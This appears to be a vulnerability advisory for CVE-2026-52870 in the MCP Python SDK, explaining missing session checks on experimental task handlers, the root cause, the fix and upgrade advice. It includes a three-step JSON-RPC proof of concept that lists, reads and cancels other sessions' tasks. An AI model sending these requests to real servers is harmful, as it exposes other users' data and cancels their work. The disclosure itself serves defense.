CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
When a multi-client MCP server enables the experimental tasks feature, any connected client can list, read, and cancel tasks that belong to other clients, including intercepting sensitive…
The problem
MCP Python SDK versions 1.23.0 through 1.27.1 register default handlers for tasks/list, tasks/get, tasks/result, and tasks/cancel when a server calls server.experimental.enable_tasks(). None of these handlers checked which session originally created a task.
Because tasks/list returned every task in the global store, an attacker-controlled client could enumerate all task IDs without knowing them in advance, then use those IDs to read results, drain queued elicitation messages (removing them before the legitimate owner receives them), and cancel any in-flight task.
The issue only affects servers that call enable_tasks() and accept more than one concurrent client.
Proof of concept
A working proof-of-concept for CVE-2026-52870 in mcp, with the exact payload below.
# Step 1: enumerate all tasks on the server (no session filter in affected versions)
{
"jsonrpc": "2.0",
"id": 1,
"method": "tasks/list",
"params": {}
}
# Step 2: read another session's task result using an ID from the list above
{
"jsonrpc": "2.0",
"id": 2,
"method": "tasks/result",
"params": { "id": "<task_id_from_step_1>" }
}
# Step 3: cancel another session's task
{
"jsonrpc": "2.0",
"id": 3,
"method": "tasks/cancel",
"params": { "id": "<task_id_from_step_1>" }
}The root cause is CWE-862 (Missing Authorization). The handlers stored tasks in a flat, server-wide store keyed only by task ID. Nothing in the tasks/list, tasks/get, tasks/result, or tasks/cancel request paths compared the requesting session's identity against the session that called run_task().
PR #2720 ("Scope experimental tasks to the session that created them") fixed this by embedding an opaque per-session marker inside every task ID generated by run_task(). The default handlers now extract that marker and reject requests where it does not match the current session, returning a "task not found" error. tasks/list was also narrowed to return only the tasks owned by the requesting session.
The fix
Upgrade to mcp 1.27.2 or later (pip install --upgrade mcp). If you cannot upgrade immediately, either avoid calling server.experimental.enable_tasks() or replace the default handlers with custom ones that enforce session ownership. Servers that never call enable_tasks() are not affected.
Reported by Max Isbey (maxisbey).
Related research
- highCVE-2026-59950CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
- high · 7.1CVE-2026-52869CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
- high · 7.5CVE-2026-67432CVE-2026-67432: mcp (Ruby SDK) Unbounded Request Body Memory Exhaustion
- high · 7.7CVE-2026-59216CVE-2026-59216: Open WebUI Cross-User Code Execution via Unvalidated Socket.IO session_id